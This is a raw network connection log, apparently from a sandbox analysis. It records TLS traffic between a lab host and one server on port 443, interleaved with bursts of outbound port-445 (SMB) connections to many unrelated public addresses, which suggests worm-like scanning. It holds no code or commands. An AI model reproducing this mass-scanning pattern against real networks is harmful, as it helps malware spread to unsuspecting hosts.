Jul 20, 2022 19:31:06.743891001 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744010925 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744069099 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744096994 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744106054 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744148016 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744163990 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744177103 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744185925 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744231939 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744235039 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744275093 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744282961 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744326115 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744342089 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744364977 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744374037 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744415045 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744448900 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744473934 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744524956 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744566917 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744576931 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744617939 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744632959 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744647026 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744653940 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744688988 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744697094 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744734049 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744740963 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744775057 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744781971 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744820118 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744828939 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744868994 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744908094 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.744961023 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.744992971 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.745035887 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.745047092 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.745074987 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.745084047 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.745122910 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.745160103 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.746998072 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747128010 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747153044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747210026 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747235060 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747252941 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747291088 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747332096 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747334957 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747348070 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747390032 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747421026 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747436047 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747467995 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747472048 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747499943 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747512102 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747549057 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747580051 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747582912 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747596025 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747632027 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747658014 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747669935 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747699022 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747714996 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747715950 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747740030 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747751951 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747806072 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747812033 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747848034 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747860909 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747895002 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747920990 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747929096 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.747940063 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747968912 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.747981071 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748042107 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748047113 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748075962 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748097897 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748126984 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748182058 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748183966 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748199940 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748265028 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748294115 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748328924 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748378038 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748393059 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748409033 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748424053 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748442888 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748522997 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748528004 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748536110 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748543978 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748600960 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748848915 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748898983 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.748965979 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.748997927 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.749013901 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.749047041 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.749085903 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.749166965 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.750032902 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.750066042 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.750129938 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.750152111 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.750225067 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.750277996 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.751959085 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752007961 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752075911 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752093077 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752136946 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752161026 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752201080 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752248049 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752285004 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752301931 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752337933 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752366066 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752444983 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752537012 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752585888 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752700090 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.752710104 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.752779961 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753387928 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753417969 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753505945 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753516912 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753546000 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753580093 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753766060 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753802061 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753863096 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753891945 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.753920078 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.753937960 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.755028963 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.755131960 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.755769968 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.755800009 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.755882978 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.755901098 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.755918026 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.755949020 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.756822109 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.756855011 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.756922007 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.756942034 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.756973982 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.757000923 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.757632971 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.757726908 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.761104107 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.761219978 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.761605978 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.761635065 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.761693001 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.761703014 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.761732101 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.761764050 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.762577057 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.762612104 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.762681007 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.762690067 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.762742996 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.763376951 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.763547897 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.764450073 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.764498949 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.764558077 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.764569044 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.764610052 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.764640093 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766249895 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766282082 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766359091 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766369104 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766396999 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766416073 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766459942 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766496897 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766534090 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766587019 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766609907 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.766627073 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.766658068 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.767745972 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.767780066 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.767854929 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.767867088 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.767884970 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.767924070 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.767971039 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.768754005 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.768791914 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.768866062 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.768883944 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.768923044 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.768939972 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.771090031 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771132946 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771208048 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771219015 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.771239996 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771297932 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.771342039 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.771842957 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771872044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771945000 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.771960974 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.771991014 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.772008896 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.773010969 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.773045063 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.773098946 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.773127079 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.773144960 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.773211956 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.779087067 CEST	50621	445	192.168.2.7	193.155.106.23
Jul 20, 2022 19:31:06.781841040 CEST	50622	445	192.168.2.7	111.139.12.148
Jul 20, 2022 19:31:06.781979084 CEST	50623	445	192.168.2.7	137.249.76.194
Jul 20, 2022 19:31:06.782085896 CEST	50624	445	192.168.2.7	103.83.26.234
Jul 20, 2022 19:31:06.782167912 CEST	50625	445	192.168.2.7	116.2.169.44
Jul 20, 2022 19:31:06.782258034 CEST	50626	445	192.168.2.7	193.167.132.51
Jul 20, 2022 19:31:06.782339096 CEST	50627	445	192.168.2.7	39.17.86.24
Jul 20, 2022 19:31:06.782423019 CEST	50628	445	192.168.2.7	199.138.138.103
Jul 20, 2022 19:31:06.787524939 CEST	50629	445	192.168.2.7	122.169.247.246
Jul 20, 2022 19:31:06.787573099 CEST	50631	445	192.168.2.7	69.21.126.19
Jul 20, 2022 19:31:06.787591934 CEST	50630	445	192.168.2.7	117.8.47.18
Jul 20, 2022 19:31:06.806648970 CEST	50632	445	192.168.2.7	138.134.150.191
Jul 20, 2022 19:31:06.817595005 CEST	50633	445	192.168.2.7	26.150.49.103
Jul 20, 2022 19:31:06.867801905 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.867834091 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.867861986 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.867969990 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.867983103 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868047953 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868058920 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868117094 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868127108 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868187904 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868199110 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868274927 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868294001 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868359089 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868422985 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868438005 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868458986 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868490934 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868491888 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868522882 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868547916 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868560076 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868664026 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868680000 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868695021 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868710995 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868717909 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868796110 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868807077 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868871927 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868881941 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868901968 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.868956089 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.868966103 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.869054079 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.869066000 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.869143009 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.869153976 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.869290113 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.869302988 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.869393110 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.877841949 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.877875090 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878035069 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878118038 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878129005 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878150940 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878317118 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878331900 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878345966 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878437996 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878452063 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878525019 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878535986 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878554106 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878660917 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878670931 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878683090 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878758907 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878772020 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878869057 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878881931 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878902912 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.878973007 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.878984928 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.879085064 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.879098892 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.879219055 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.879231930 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.879430056 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.879446030 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.879524946 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.880745888 CEST	50634	445	192.168.2.7	174.78.14.143
Jul 20, 2022 19:31:06.881572008 CEST	50635	445	192.168.2.7	205.146.69.142
Jul 20, 2022 19:31:06.882313967 CEST	50636	445	192.168.2.7	210.49.107.180
Jul 20, 2022 19:31:06.883172035 CEST	50637	445	192.168.2.7	75.5.109.37
Jul 20, 2022 19:31:06.886239052 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886267900 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886296988 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886316061 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886460066 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886471987 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886487007 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886579990 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886594057 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886657000 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886667967 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886681080 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886729956 CEST	50590	443	192.168.2.7	80.67.82.211
